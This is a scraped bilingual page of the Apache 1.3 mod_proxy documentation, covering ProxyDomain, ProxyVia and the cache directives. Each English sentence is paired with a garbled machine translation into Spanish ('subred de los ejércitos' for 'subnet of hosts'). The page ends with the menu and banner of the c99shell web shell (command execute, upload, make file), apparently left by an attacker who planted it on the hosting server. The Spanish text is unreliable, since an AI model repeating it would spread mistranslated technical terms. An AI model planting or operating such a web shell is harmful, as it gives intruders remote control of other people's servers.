Note: Domain name comparisons are done without regard to the case, and Domain s are always assumed to be anchored in the root of the DNS tree, therefore two domains .MyDomain.com and .mydomain.com. (note the trailing period) are considered equal. Nota: El nombre de dominio comparaciones se hacen sin tener en cuenta el caso, y s de dominio que se supone estar siempre anclada en la raíz del árbol de DNS, por lo tanto dos dominios. MyDomain.com y. Mydomain.com. (Nótese el período final) se consideran iguales. Since a domain comparison does not involve a DNS lookup, it is much more efficient than subnet comparison. Puesto que una comparación de dominio no se trata de una búsqueda de DNS, es mucho más eficiente que la comparación de subred.
SubNet Subred
A SubNet is a partially qualified internet address in numeric (dotted quad) form, optionally followed by a slash and the netmask, specified as the number of significant bits in the SubNet . Una subred es una dirección de Internet calificado parcialmente numérica (cuatro puntos) la forma, puede ir seguido de una barra y la máscara de red, se especifica como el número de bits significativos en la subred. It is used to represent a subnet of hosts which can be reached over a common network interface. Se utiliza para representar una subred de los ejércitos que se puede llegar más de una interfaz de red común. In the absence of the explicit net mask it is assumed that omitted (or zero valued) trailing digits specify the mask. En ausencia de la máscara de red explícita, se supone que se suprime (o nulo valor) detrás de los dígitos especificar la máscara. (In this case, the netmask can only be multiples of 8 bits wide.) (En este caso, la máscara de red sólo puede ser múltiplos de 8 bits de ancho.)
Examples: Ejemplos:
192.168 or 192.168.0.0 192,168 o 192.168.0.0
the subnet 192.168.0.0 with an implied netmask of 16 valid bits (sometimes used in the netmask form 255.255.0.0 ) la subred 192.168.0.0 con máscara de red una presunta de 16 bits válidos (a veces utilizado en forma máscara de red 255.255.0.0)
192.168.112.0/21 192.168.112.0/21
the subnet 192.168.112.0/21 with a netmask of 21 valid bits (also used in the form 255.255.248.0) la subred 192.168.112.0/21 con una máscara de 21 bits válidos (también se usa en forma 255.255.248.0)
As a degenerate case, a SubNet with 32 valid bits is the equivalent to an IPAddr , while a SubNet with zero valid bits ( eg , 0.0.0.0/0) is the same as the constant _Default_ , matching any IP address. Como un caso degenerado, una subred con 32 bits válido es el equivalente a un IPADDR, mientras que una subred con cero bits válido (por ejemplo, 0.0.0.0 / 0) es el mismo que el _default_ constante, igualando cualquier dirección IP.
IPAddr IPADDR
A IPAddr represents a fully qualified internet address in numeric (dotted quad) form. Un IPADDR representa una dirección de Internet titulados en numérico (cuaterna) forma. Usually, this address represents a host, but there need not necessarily be a DNS domain name connected with the address. Por lo general, esta dirección representa un host, pero no tiene necesariamente que ser un nombre de dominio DNS conectados con la dirección.
Example: 192.168.123.7 Ejemplo: 192.168.123.7
Note: An IPAddr does not need to be resolved by the DNS system, so it can result in more effective apache performance. Nota: Una IPADDR no tiene que ser resuelto por el sistema de DNS, por lo que puede dar lugar a apache rendimiento más eficaz.

See Also: DNS Issues Ver también: problemas de DNS

Hostname Nombre de la máquina
A Hostname is a fully qualified DNS domain name which can be resolved to one or more IPAddrs via the DNS domain name service. Un nombre de host es un nombre de dominio DNS completo cualificada que se puede resolver en una o más IPAddrs a través del nombre de dominio del servicio de DNS. It represents a logical host (in contrast to Domain s, see above) and must be resolvable to at least one IPAddr (or often to a list of hosts with different IPAddr 's). Representa un host lógico (en contraste con dominio s, ver arriba) y debe ser resoluble por lo menos a un IPADDR (o con frecuencia a una lista de anfitriones con diferentes IPADDR s ').
Examples: prep.ai.mit.edu www.apache.org. Ejemplos: www.apache.org prep.ai.mit.edu.
Note: In many situations, it is more effective to specify an IPAddr in place of a Hostname since a DNS lookup can be avoided. Nota: En muchas situaciones, es más eficaz para especificar un IPADDR en lugar de un nombre de host desde una búsqueda de DNS se puede evitar. Name resolution in Apache can take a remarkable deal of time when the connection to the name server uses a slow PPP link. La resolución de nombres en Apache puede tomar un acuerdo notable de tiempo cuando la conexión con el servidor de nombres utiliza una lenta conexión PPP.
Note: Hostname comparisons are done without regard to the case, and Hostname s are always assumed to be anchored in the root of the DNS tree, therefore two hosts WWW.MyDomain.com and www.mydomain.com. (note the trailing period) are considered equal. Nota: Las comparaciones se hacen Hostname sin tener en cuenta el caso, y nombre de host s se supone estar siempre anclada en la raíz del árbol de DNS, por lo tanto dos hosts WWW.MyDomain.com y www.mydomain.com. (Nótese el punto final) se consideran iguales.

See Also: DNS Issues Ver también: problemas de DNS


ProxyDomain directive ProxyDomain Directiva

Syntax: ProxyDomain Domain Sintaxis: Dominio ProxyDomain
Default: None Por defecto: Ninguno
Context: server config, virtual host Contexto: server config, virtual host
Override: Not applicable Anulación: No aplicable
Status: Base Estado: Base
Module: mod_proxy Módulo: mod_proxy
Compatibility: ProxyDomain is only available in Apache 1.3 and later. Compatibilidad: ProxyDomain sólo está disponible en Apache 1.3 y posteriores.

This directive is only useful for Apache proxy servers within intranets. Esta directiva sólo es útil para servidores proxy Apache en las intranets. The ProxyDomain directive specifies the default domain which the apache proxy server will belong to. La directiva ProxyDomain especifica el dominio por defecto que el servidor proxy apache pertenecen. If a request to a host without a domain name is encountered, a redirection response to the same host with the configured Domain appended will be generated. Si una solicitud a un host sin un nombre de dominio se encuentra, la redirección de una respuesta a la misma máquina con el dominio configurado anexa se generará.

Example: Ejemplo:

  ProxyRemote  *  http://firewall.mycompany.com:81 * ProxyRemote http://firewall.mycompany.com:81
  NoProxy         .mycompany.com 192.168.112.0/21 NoProxy. 192.168.112.0/21 mycompany.com 
  ProxyDomain     .mycompany.com ProxyDomain. Mycompany.com

ProxyVia directive ProxyVia Directiva

Syntax: ProxyVia on|off|full|block Sintaxis: ProxyVia on | off bloque completo | |
Default: ProxyVia off Por defecto: ProxyVia fuera
Context: server config, virtual host Contexto: server config, virtual host
Override: Not applicable Anulación: No aplicable
Status: Base Estado: Base
Module: mod_proxy Módulo: mod_proxy
Compatibility: ProxyVia is only available in Apache 1.3.2 and later. Compatibilidad: ProxyVia sólo está disponible en Apache 1.3.2 y versiones posteriores.

This directive controls the use of the Via: HTTP header by the proxy. Esta directiva controla el uso de la vía: cabecera HTTP por el proxy. Its intended use is to control the flow of of proxy requests along a chain of proxy servers. Su uso está pensado para controlar el flujo de peticiones de proxy lo largo de una cadena de servidores proxy. See RFC2068 (HTTP/1.1) for an explanation of Via: header lines. Ver RFC2068 (HTTP/1.1) para una explicación de la Vía: Líneas de cabecera.

  • If set to off , which is the default, no special processing is performed. Si se establece en off, que es la predeterminada, no se realiza un procesamiento especial. If a request or reply contains a Via: header, it is passed through unchanged. Si una petición o la respuesta contiene una vía: cabecera, que se transmite a través de cambios.
  • If set to on , each request and reply will get a Via: header line added for the current host. Si se establece en el, cada solicitud y respuesta obtendrá un Via: línea de encabezado adicional para la máquina actual.
  • If set to full , each generated Via: header line will additionally have the Apache server version shown as a Via: comment field. Si se establece en plenaria, cada uno genera a través de: línea de cabecera, además, tendrá la versión del servidor Apache muestra como un Via: campo de comentarios.
  • If set to block , every proxy request will have all its Via: header lines removed. Si se establece en bloque, todas las solicitudes de proxy tendrá todos sus Vía: Líneas de cabecera retirado. No new Via: header will be generated. No hay nuevos Via: header se generará.

CacheForceCompletion directive CacheForceCompletion Directiva

Syntax: CacheForceCompletion percentage Sintaxis: porcentaje CacheForceCompletion
Default: 90 Por defecto: 90
Context: server config, virtual host Contexto: server config, virtual host
Override: Not applicable Anulación: No aplicable
Status: Base Estado: Base
Module: mod_proxy Módulo: mod_proxy
Compatibility: CacheForceCompletion is only available in Apache 1.3.1 and later. Compatibilidad: CacheForceCompletion sólo está disponible en Apache 1.3.1 y versiones posteriores.

If an http transfer that is being cached is cancelled, the proxy module will complete the transfer to cache if more than the percentage specified has already been transferred. Si una transferencia de http que se almacena en caché se cancela, el módulo de proxy completar la transferencia de más de caché si el porcentaje especificado ya ha sido transferida.

This is a percentage, and must be a number between 1 and 100, or 0 to use the default. Este es un porcentaje, y debe ser un número entre 1 y 100, o 0 para usar el valor predeterminado. 100 will cause a document to be cached only if the transfer was allowed to complete. 100 causará un documento que se almacenan en caché sólo si la transferencia se le permitió completar. A number between 60 and 90 is recommended. Un número entre 60 y 90 se recomienda.


CacheRoot directive CacheRoot Directiva

Syntax: CacheRoot directory Sintaxis: directorio CacheRoot
Default: None Por defecto: Ninguno
Context: server config, virtual host Contexto: config server, virtual host
Override: Not applicable Anulación: No aplicable
Status: Base Estado: Base
Module: mod_proxy Módulo: mod_proxy
Compatibility: CacheRoot is only available in Apache 1.1 and later. Compatibilidad: CacheRoot sólo está disponible en Apache 1.1 y posteriores.

Sets the name of the directory to contain cache files; this must be writable by the httpd server. Establece el nombre del directorio que contiene archivos de caché, lo que debe ser escribible por el servidor httpd. (see the User directive). (Véase el User Directiva).
Setting CacheRoot enables proxy cacheing; without defining a CacheRoot , proxy functionality will be available if ProxyRequests are set to On , but no cacheing will be available. Configuración CacheRoot permite Cacheing proxy; sin definir un CacheRoot , la funcionalidad proxy estará disponible si ProxyRequests se establecen en On , pero no Cacheing estará disponible.


CacheSize directive CacheSize Directiva

Syntax: CacheSize kilobytes Sintaxis: kilobytes CacheSize
Default: CacheSize 5 Por defecto: CacheSize 5
Context: server config, virtual host Contexto: config servidor virtual de acogida
Override: Not applicable Anulación: No aplicable
Status: Base Estado: Base
Module: mod_proxy Módulo: mod_proxy
Compatibility: CacheSize is only available in Apache 1.1 and later. Compatibilidad: CacheSize sólo está disponible en Apache 1.1 y posteriores.

Sets the desired space usage of the cache, in KB (1024-byte units). Establece el uso del espacio deseado de la caché, en KB (-byte unidades de 1024). Although usage may grow above this setting, the garbage collection will delete files until the usage is at or below this setting. Aunque el uso puede crecer por encima de este ajuste, la recolección de basura se eliminarán los archivos hasta que el uso es igual o inferior a este valor.
Depending on the expected proxy traffic volume and CacheGcInterval , use a value which is at least 20 to 40 % lower than the available space. Dependiendo del volumen de tráfico previsto y proxy CacheGcInterval , utilice un valor de al menos 20 a 40% menor que el espacio disponible.


CacheGcInterval directive CacheGcInterval Directiva

Syntax: CacheGcInterval hours Sintaxis: horas CacheGcInterval
Default: None Por defecto: Ninguno
Context: server config, virtual host Contexto: server config, virtual host
Override: Not applicable Anulación: No aplicable
Status: Base Estado: Base
Module: mod_proxy Módulo: mod_proxy
Compatibility: CacheGcinterval is only available in Apache 1.1 and later. Compatibilidad: CacheGcInterval sólo está disponible en Apache 1.1 y posteriores.

Check the cache after the specified number of hours , and delete files if the space usage is greater than that set by CacheSize. Compruebe la memoria caché después de un número específico de horas, y eliminar archivos si el uso del espacio es mayor que la fijada por CacheSize. Note that hours accepts a float value, you could for example use CacheGcInterval 1.5 to check the cache every 90 minutes. Tenga en cuenta que las horas acepta un valor en coma flotante, que podría, por ejemplo, el uso CacheGcInterval 1.5 para comprobar la memoria caché cada 90 minutos. (If unset, no garbage collection will be performed, and the cache will grow indefinitely.) Note also that the larger the CacheGcInterval , the more extra space beyond the configured CacheSize will be needed for the cache between garbage collections. (Unset Si, no hay recolección de basura se llevará a cabo, y la caché crecerá indefinidamente.) Tenga en cuenta que cuanto mayor sea el CacheGcInterval , el espacio adicional más allá de la configuración CacheSize serán necesarios para la caché de entre las colecciones de basura.


CacheMaxExpire directive CacheMaxExpire Directiva

Syntax: CacheMaxExpire hours Sintaxis: horas CacheMaxExpire
Default: CacheMaxExpire 24 Por defecto: CacheMaxExpire 24
Context: server config, virtual host Contexto: server config, virtual host
Override: Not applicable Anulación: No aplicable
Status: Base Estado: Base
Module: mod_proxy Módulo: mod_proxy
Compatibility: CacheMaxExpire is only available in Apache 1.1 and later. Compatibilidad: CacheMaxExpire sólo está disponible en Apache 1.1 y posteriores.

Specifies the maximum number of hours for which cachable HTTP documents will be retained without checking the origin server. Especifica el número máximo de horas que cachable documentos HTTP se mantendrán sin comprobar el servidor de origen. Thus, documents will be out of date at most this number of hours This restriction is enforced even if an expiry date was supplied with the document. Así, los documentos estarán desfasados en la mayoría de este número de horas Esta restricción se aplica incluso si una fecha de caducidad se suministra con el documento.


CacheLastModifiedFactor directive CacheLastModifiedFactor Directiva

Syntax: CacheLastModifiedFactor factor Sintaxis: factor CacheLastModifiedFactor
Default: CacheLastModifiedFactor 0.1 Por defecto: CacheLastModifiedFactor 0.1
Context: server config, virtual host Contexto: server config, virtual host
Override: Not applicable Anulación: No aplicable
Status: Base Estado: Base
Module: mod_proxy Módulo: mod_proxy
Compatibility: CacheLastModifiedFactor is only available in Apache 1.1 and later. Compatibilidad: CacheLastModifiedFactor sólo está disponible en Apache 1.1 y posteriores.

If the origin HTTP server did not supply an expiry date for the document, then estimate one using the formula Si el servidor HTTP origen no ha facilitado una fecha de caducidad del documento, a continuación, una estimación según la fórmula

  expiry-period = time-since-last-modification * factor expiración del período = tiempo-ya que-de última modificación de los factores *
For example, if the document was last modified 10 hours ago, and factor is 0.1, then the expiry period will be set to 10*0.1 = 1 hour. Por ejemplo, si el documento fue modificada por última vez hace 10 horas, y el factor es de 0,1, entonces el período de vencimiento se establece en 10 * 0,1 = 1 hora.

If the expiry-period would be longer than that set by CacheMaxExpire, then the latter takes precedence. Si a la expiración del período sería posterior a la establecida por CacheMaxExpire, a continuación, esta última tiene prioridad.


CacheDirLevels directive CacheDirLevels Directiva

Syntax: CacheDirLevels levels Sintaxis: niveles CacheDirLevels
Default: CacheDirLevels 3 Por defecto: CacheDirLevels 3
Context: server config, virtual host Contexto: server config, virtual host
Override: Not applicable Anulación: No aplicable
Status: Base Estado: Base
Module: mod_proxy Módulo: mod_proxy
Compatibility: CacheDirLevels is only available in Apache 1.1 and later. Compatibilidad: CacheDirLevels sólo está disponible en Apache 1.1 y posteriores.

CacheDirLevels sets the number of levels of subdirectories in the cache. CacheDirLevels establece el número de niveles de subdirectorios en la caché. Cached data will be saved this many directory levels below CacheRoot. los datos se guardarán en caché esta niveles de directorios por debajo de muchos CacheRoot.


CacheDirLength directive CacheDirLength Directiva

Syntax: CacheDirLength length Sintaxis: longitud CacheDirLength
Default: CacheDirLength 1 Por defecto: CacheDirLength 1
Context: server config, virtual host Contexto: server config, virtual host
Override: Not applicable Anulación: No aplicable
Status: Base Estado: Base
Module: mod_proxy Módulo: mod_proxy
Compatibility: CacheDirLength is only available in Apache 1.1 and later. Compatibilidad: CacheDirLength sólo está disponible en Apache 1.1 y posteriores.

CacheDirLength sets the number of characters in proxy cache subdirectory names. CacheDirLength establece el número de caracteres en los nombres de subdirectorio proxy caché.


CacheDefaultExpire directive CacheDefaultExpire Directiva

Syntax: CacheDefaultExpire hours Sintaxis: horas CacheDefaultExpire
Default: CacheDefaultExpire 1 Por defecto: CacheDefaultExpire 1
Context: server config, virtual host Contexto: server config, virtual host
Override: Not applicable Anulación: No aplicable
Status: Base Estado: Base
Module: mod_proxy Módulo: mod_proxy
Compatibility: CacheDefaultExpire is only available in Apache 1.1 and later. Compatibilidad: CacheDefaultExpire sólo está disponible en Apache 1.1 y posteriores.

If the document is fetched via a protocol that does not support expiry times, then use the specified number of hours as the expiry time. CacheMaxExpire does not override this setting. Si el documento se obtiene a través de un protocolo que no soporta fechas de vencimiento, a continuación, utilizar el número específico de horas como el tiempo de caducidad. CacheMaxExpire no anula este ajuste.


NoCache directive NoCache Directiva

Syntax: NoCache *| word|host|domain [ word|host|domain ] ... Sintaxis: NoCache * | palabra | acogida | dominio [palabra | acogida | dominio] ...
Default: None Por defecto: Ninguno
Context: server config, virtual host Contexto: server config, virtual host
Override: Not applicable Anulación: No aplicable
Status: Base Estado: Base
Module: mod_proxy Módulo: mod_proxy
Compatibility: NoCache is only available in Apache 1.1 and later. Compatibilidad: NoCache sólo está disponible en Apache 1.1 y posteriores.

The NoCache directive specifies a list of words, hosts and/or domains, separated by spaces. La directiva NoCache especifica una lista de palabras, los hosts y / o dominios, separados por espacios. HTTP and non-passworded FTP documents from matched words, hosts or domains are not cached by the proxy server. HTTP y FTP passworded documentos-no de palabras coincidentes, hosts o dominios no se almacenan en caché por el servidor proxy. The proxy module will also attempt to determine IP addresses of list items which may be hostnames during startup, and cache them for match test as well. El módulo de proxy también intentará determinar las direcciones IP de los elementos de la lista que pueden ser nombres de equipo durante el inicio y la caché de los partido de prueba así. Example: Ejemplo:

  NoCache joes-garage.com some-host.co.uk bullwinkle.wotsamattau.edu NoCache Joes-garage.com algunos host.co.uk-bullwinkle.wotsamattau.edu
'bullwinkle.wotsamattau.edu' would also be matched if referenced by IP address. "Bullwinkle.wotsamattau.edu 'también ir acompañada, si se hace referencia por su dirección IP.

Note that 'wotsamattau' would also be sufficient to match 'wotsamattau.edu'. Tenga en cuenta que 'wotsamattau "también sería suficiente para que coincida con' wotsamattau.edu.

Note also that Tenga en cuenta que

NoCache * NoCache *
disables caching completely. deshabilita el caché completo.


Apache HTTP Server Version 1.3 Servidor Apache HTTP versión 1.3

Índice Casa

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--